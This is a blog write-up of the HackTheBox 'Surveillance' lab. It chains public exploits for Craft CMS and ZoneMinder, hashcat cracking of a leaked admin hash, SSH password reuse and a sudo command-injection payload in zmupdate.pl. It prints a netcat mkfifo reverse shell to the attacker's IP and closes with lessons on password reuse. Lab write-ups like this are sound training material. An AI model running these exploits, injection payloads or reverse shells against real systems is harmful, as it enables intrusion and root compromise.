Ducksec Apr 21, 2024 hackthebox, writeups

HackTheBox Surveillance Writeup

Surveillance is a Medium difficulty box from HackTheBox, which includes plenty of enumeration, remote code execution, password reuse, command injection and some port forwarding. This was a fun box so let’s jump in!

Gaining user access

As usual, let’s begin with some basic enumeration - we’ll add surveillance.htb to /etc/hosts, and run nmap:

Nmap scan report for surveillance.htb (10.129.230.42)
Host is up, received user-set (0.022s latency).
Scanned at 2024-12-21 11:00:14 GMT for 24s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0B7345BDDB34DAEE691A08BF633AE076
|_http-title:  Surveillance 
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

As is often the case with HackThebox, we have a webserver and not much else to play with.

Let’s enumerate the server then! I’ll fire up feroxbuster in the background. We’ll run whatweb to get a quick overview of the technologies which power the site, then take a look at the site itself.

WhatWeb report for http://surveillance.htb:80 
Status   : 200 OK 
Title   : Surveillance 
IP     : 10.129.230.42 
Country  : RESERVED, ZZ 

Summary  : Bootstrap[4.3.1], Email[demo@surveillance.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.4.1], nginx[1.18.0], Script[text/javascript], X-Powered-By[Craft CMS], X-UA-Compatible[IE=edge]

WhatWeb suggests that the page is built on Craft CMS - this will be important in a moment, but first let’s keep enumerating.

The site itself looks like a fairly standard small business type page - the most interesting element being another reference to Caft CMS:

Meanwhile, Feroxbuster has identified a few useful leads, including an admin page, although a few tries with “admin/admin”, “admin/password” and the usual easy wins gets us nowhere.

<SNIP>
200        0l        0w        0c http://surveillance.htb/.gitkeep
200        9l       26w      304c http://surveillance.htb/.htaccess
302        0l        0w        0c http://surveillance.htb/admin
301        7l       12w      178c http://surveillance.htb/css
301        7l       12w      178c http://surveillance.htb/fonts
301        7l       12w      178c http://surveillance.htb/images
301        7l       12w      178c http://surveillance.htb/img
200        1l        0w        0c http://surveillance.htb/index
<SNIP>

Looking further at the page, we can notice that “Powered by Craft CMS” notice is actually a link, and that link reveals the specific version of the software - 4.4.4

Let’s therefore google around and see if there are any known vulnerabilities for this version - indeed, there is one!

CraftCMS suffers from a Remote Code Execution (RCE) vulnerability, identified as CVE-2024-41892. The vulnerability resides in the \craft\controllers\ConditionsController class, particularly in its beforeAction method. This method allows for the insecure creation of arbitrary objects, which in turn can lead to arbitrary file inclusion. The POC developed here by calif: https://blog.calif.io/p/craftcms-rce uses the \yii\rbac\PhpManager::loadFromFile method, which can include PHP code from an arbitrary file into CraftCMS’s log file. As always, Califs original post is worth a read!

With a bit of searching, I find a pre-packaged python exploit, so let’s give this one a go:

https://gist.githubusercontent.com/to016/b796ca3275fa11b5ab9594b1522f7226/raw/4742df53be0584c68d6f7550224948fc6709fea9/CVE-2024-41892-POC.md

└──╼ **$**python3 poc2.py http://surveillance.htb 10.10.14.26 4848 
[!] Please execute `nc -lvnp <port>` before running this script ... 
[-] Get temporary folder and document root ... 
[-] Write payload to temporary file ... 
[-] Trigger imagick to write shell ... 
[+] reverse shell is executing ...

Excellent, the exploit works, and the shell comes back - we have access as www-data.


└──╼ **$**nc -nvlp 4848 
listening on [any] 4848 ... 
connect to [10.10.14.26] from (UNKNOWN) [10.129.16.185] 35996 
/bin/sh: 0: can't access tty; job control turned off 
$ whoami 
www-data 
$ python3 -c "import pty; pty.spawn('/bin/bash')" 
www-data@surveillance:~/html/craft/web/cpresources$ 

Once I have the shell, we can use python to spawn a new pty giving us a more reasonable terminal. From here, the first priority is to enumerate the web application itself. Having not used CraftCMS myself I’m not 100% sure what to look for, but as a general rule I’m especially interested in configuration files (Especially database configuration files), backups, left over documentation or test code and other sensitive files. Before long I stumble upon this interesting looking directory:

www-data@surveillance:~/html/craft/storage/backups$ ls -lah
ls -lah
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17  2024 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11  2024 ..
-rw-r--r-- 1 root     root      20K Oct 17  2024 surveillance--2024-10-17-202801--v4.4.14.sql.zip
www-data@surveillance:~/html/craft/storage/backups$ 

Which contains an sql backup. Let’s stand up a python server, and grab the file on our attack box.

www-data@surveillance:~/html/craft/storage/backups$ python3 -m http.server 8181 
</craft/storage/backups$ python3 -m http.server 8181 
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ... 
10.10.14.61 - - [21/Dec/2024 13:22:40] "GET /surveillance--2024-10-17-202801--v4.4.14.sql.zip HTTP/1.1" 200 -

Unzipping the file gives us an sql dump file which contains exactly the sort of information were interested in:

INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2024-10-17 20:22:34',NULL,NULL,NULL,'2024-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2024-10-17 20:27:46','2024-10-11 17:57:16','2024-10-17 20:27:46');

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec looks like a hash - probably SHA256, let’s check the number of characters to confirm this - for SHA256 it should be 64 (Remember wondering why you had to learn this in Pentest+? :) )

└──╼ **$**echo 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec | wc -c  
65

65? That’s not right? Can you spot my error? By default, echo adds a newline character - we need to use -n to suppress this

└──╼ **$**echo -n 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec | wc -c  
64

Much better. So, that’s a SHA265 hash of the admin password for CraftCMS - let’s see if we can crack it with hashcat:

└──╼ $hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt  
hashcat (v6.1.1) starting... 

<SNIP>

Dictionary cache hit: 

* Filename..: /usr/share/wordlists/rockyou.txt 
* Passwords.: 14344385 
* Bytes.....: 139921507 
* Keyspace..: 14344385 

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490 

Excellent - we now have the admin password. From here there’s two promising ways to proceed -

1) Log into CraftCMS and enumerate further 2) See if Matthew is also a user on the box, and bank on him having re-used his password.

I’m sure you know where I’m going to start :)

www-data@surveillance:~/html/craft/storage/backups$ cat /etc/passwd | grep matthew
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash

And the password…

└──╼ **$**ssh matthew@surveillance.htb 
matthew@surveillance.htb's password:  
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64) 

 \* Documentation:  https://help.ubuntu.com 
 \* Management:   https://landscape.canonical.com 
 \* Support:     https://ubuntu.com/advantage 

  System information as of Sun Apr 21 09:03:06 AM UTC 2024 

  System load:  0.0009765625    Processes:       225 
  Usage of /:  69.4% of 5.91GB  Users logged in:    0 
  Memory usage: 12%        IPv4 address for eth0: 10.129.16.185 
  Swap usage:  0% 


Expanded Security Maintenance for Applications is not enabled. 

0 updates can be applied immediately. 

Enable ESM Apps to receive additional future security updates. 
See https://ubuntu.com/esm or run: sudo pro status 


The list of available updates is more than a week old. 
To check for new updates run: sudo apt update 

**matthew@surveillance**:**~**$ whoami 
matthew 
**matthew@surveillance**:**~**$ 

…is reused. We now have user access as Matthew.

Gaining root access

Let’s begin with some basic enumeration:

**matthew@surveillance**:**~**$ sudo -l  
[sudo] password for matthew:  
Sorry, user matthew may not run sudo on surveillance. 
**matthew@surveillance**:**~**$ netstat -tulpn 
Active Internet connections (only servers) 
Proto Recv-Q Send-Q Local Address      Foreign Address     State    PID/Program name   
tcp     0    0 0.0.0.0:80        0.0.0.0:*        LISTEN    -           
tcp     0    0 0.0.0.0:22        0.0.0.0:*        LISTEN    -           
tcp     0    0 127.0.0.1:8080      0.0.0.0:*        LISTEN    -           
tcp     0    0 127.0.0.1:3306      0.0.0.0:*        LISTEN    -           
tcp     0    0 127.0.0.53:53      0.0.0.0:*        LISTEN    -           
tcp6    0    0 :::22          :::*           LISTEN    -           
udp     0    0 127.0.0.53:53      0.0.0.0:*              -           
udp     0    0 0.0.0.0:68        0.0.0.0:*              -          

So, we cant sudo, but we do have some applications running internally - 3306 will be the database, and 53 is DNS, however 8080 is almost certainly another web app. We can use curl to check:

matthew@surveillance:~$ curl http://localhost:8080

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>ZM - Login</title>

<SNIP>

        <div class="container">
                <form class="center-block" name="loginForm" id="loginForm" method="post" action="?view=login"><input type='hidden' name='__csrf_magic' value="key:754dfd4f13ec07577f44aecddfa2fb8dce559637,1713690537" />
                        <input type="hidden" name="action" value="login"/>
      <input type="hidden" name="postLoginQuery" value="" />

                        <div id="loginError" class="hidden alarm" role="alert">
                                <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span>
                                Invalid username or password.
                        </div>
    
                        <div id="loginform">
    
        <h1><i class="material-icons md-36">account_circle</i> ZoneMinder Login</h1>
    
                                <label for="inputUsername" class="sr-only">Username</label>
                                <input type="text" id="inputUsername" name="username" class="form-control" autocapitalize="none" placeholder="Username" required autofocus autocomplete="username"/>
    
                                <label for="inputPassword" class="sr-only">Password</label>
                                <input type="password" id="inputPassword" name="password" class="form-control" placeholder="Password" required autocomplete="current-password"/>
                                <button class="btn btn-lg btn-primary btn-block" type="submit">Login</button>
                        </div>
                </form>
        </div>
        
<SNIP>        

We definitely have a web app, with a login form - so let’s use ssh to port forward back to our attack box and explore this in more depth.

└──╼ ssh -v -L 8080:127.0.0.1:8080 matthew@surveillance.htb

When doing port forwarding I like to use the -v flag for verbose mode - ssh port forwarding usually works well, but it an be hard to figure out what’s going wrong (the remote application, or your ssh session) when things don’t quite click. With this connection established, any traffic I send to my localhost (127.0.0.1) on port 8080, will be directed to port 8080 on the target system, so now, we can interact with the application as if we’re on that machine.

We’ll try logging in with the credentials, we have “admin/starcraft122490” - and we gain access.

From the dashboard, we can quickly enumerate the version of the software v1.36.32 - so let’s again see if there are any published vulnerabilities or exploits.

We quickly find a relevant vulnerability- CVE-2024-26035 states that ZoneMinder versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution due to missing authorization checks in the snapshot action, that’s just what we’re looking for - and on github there’s another excellent POC script. https://github.com/rvizx/CVE-2024-26035

We’ll clone the repo, and give it a go - remember that since we’re port forwarding the target IP and port will now be our own localhost, and the local port we’re using.

└──╼ **$**python3 exploit.py -t http://127.0.0.1:8080/ -ip 10.10.14.26 -p 4141 
[>] fetching csrt token 
[>] recieved the token: key:635f1e26db3cdee58908aa6437824c2194ed6cd1,1713692075 
[>] executing... 
[>] sending payload.. 

Excellent, we now have a shell as the zoneminder user:

└──╼ $nc -nvlp 4141
listening on [any] 4141 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.16.185] 33738
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$  

Once again, let’s enumerate!

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l 
sudo -l 
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

We have more luck with sudo -l this time - apparently the user zoneminder can execute any command that starts with /usr/bin/zm followed by zero or more alphabetical characters, ending with .pl, and potentially followed by additional arguments (denoted by *). This essentially grants the user the ability to run various ZoneMinder Perl scripts with root privileges. There’s plenty of these, but which one can we abuse?

<SNIP>
-rwxr-xr-x 1 root root 45421 Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8205 Nov 23 2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 7022 Nov 23 2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 19655 Nov 23 2022 /usr/bin/zmx10.pl

Admittedly, I got stuck here for quite a while - since we’re able to control arguments to the script we need an argument which isn’t properly escaped and which is then passed to execor system. I grepped through all the files, but couldn’t find any candidates. What I didn’t know (not being a perl guy) was that qx is also a valid way to execute commands in perl (thanks hackthebox forum!).

Now, I’m lLooking for invocations of qx, and we find one in zmupdate.pl - eq executes the variable $command:

   my $output = qx($command);

which in turn is just a completed sqldump command - critically, the variabe $dbUser is unescaped, AND we can control it with the argument –user

my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }

So, the script is expecting an argument like --user jim - but how about if we pass a command instead? To do this, we can use a feature of bash called command expansion - in short, anything enclosed within $(...) is treated as a command to be executed by the shell, and then the output of that command replaces the command substitution. Therefore, If i pass the script $(/bin/bash -i) as an argument, rather than a username, this should end up as part of command, which will then be executed by qx, as root. Well that’s the theory anyway, let’s try it!

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version=1 --user='$(/bin/bash -i)' --pass=ZoneMinderPassword2024 
<ser='$(/bin/bash -i)' --pass=ZoneMinderPassword2024 

Initiating database upgrade to version 1.36.32 from version 1 

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct? 
Press enter to continue or ctrl-C to abort :  

Do you wish to take a backup of your database prior to upgrading? 
This may result in a large file in /tmp/zm if you have a lot of events. 
Press 'y' for a backup or 'n' to continue : n 

Upgrading database to version 1.36.32 
Upgrading DB to 1.26.1 from 1.26.0 
bash: cannot set terminal process group (1010): Inappropriate ioctl for device 
bash: no job control in this shell 
root@surveillance:/usr/share/zoneminder/www# whoami 
whoami 
root@surveillance:/usr/share/zoneminder/www# ls 
ls 

This worked in that it did provide a root shell, but I’m not able to actually see any command output - there’s a simple solution, let’s just spawn yet another shell:

root@surveillance:/usr/share/zoneminder/www# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 7777 >/tmp/f 
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 7777 >/tmp/f 
rm: cannot remove '/tmp/f': No such file or directory

And this comes back, we’re root!

└──╼ **$**nc -nvlp 7777 
listening on [any] 7777 ... 
connect to [10.10.14.26] from (UNKNOWN) [10.129.16.185] 53892 
/bin/sh: 0: can't access tty; job control turned off 
# whoami 
root 
#   

Avoiding the Hack - Lessons learned

For me, the most important takeaway from this box was just how dangerous password reuse is. Notice how, despite being able to exploit an out-of-date version of CraftCMS, it would have been impossible to get even as far as user level access without it?

Password reuse is such a problem because it significantly negates the value of even a very strong password. starcraft122490, while not exactly a super strong password isn’t especially bad - 15 alphanumeric characters would meet many organisational password policies. For reference, Bitwardens’ password strength tester calls it “good”.

Of course, this one exists within rockyou.txt (which is another reason your organisation needs a banned passwords list) so it would be daft to use it because everyone who’s installed Parrot OS or Kali Linux has a copy - but the fact is a password needs to be breached only once before it’s possible for an attacker to have access to it. Most breached passwords do eventually end up in lists just like rockyou.txt - and you might never know yours is included. While services which monitor for password breaches are an incredibly valuable tool in this fight, they’re not 100% reliable. Indeed, despite being in rockyou.txt - this one gets a clean bill of health over at haveibeenpwned.com

For this reason, it’s essential that passwords are never re-used - this way, if and when they are breached the access granted to an attacker is at least limited. To provide more reliable protection (and while it can be difficult to implement) password rotation for both users and applications is a must. If you’re building an application from scratch today - especially if you’re optimising for the cloud - consider storing, and rotating passwords or keys in some form of secrets manager (eg. AWS Secrets Manager) to make automating this process much easier.

That’s all for this one, see you next time!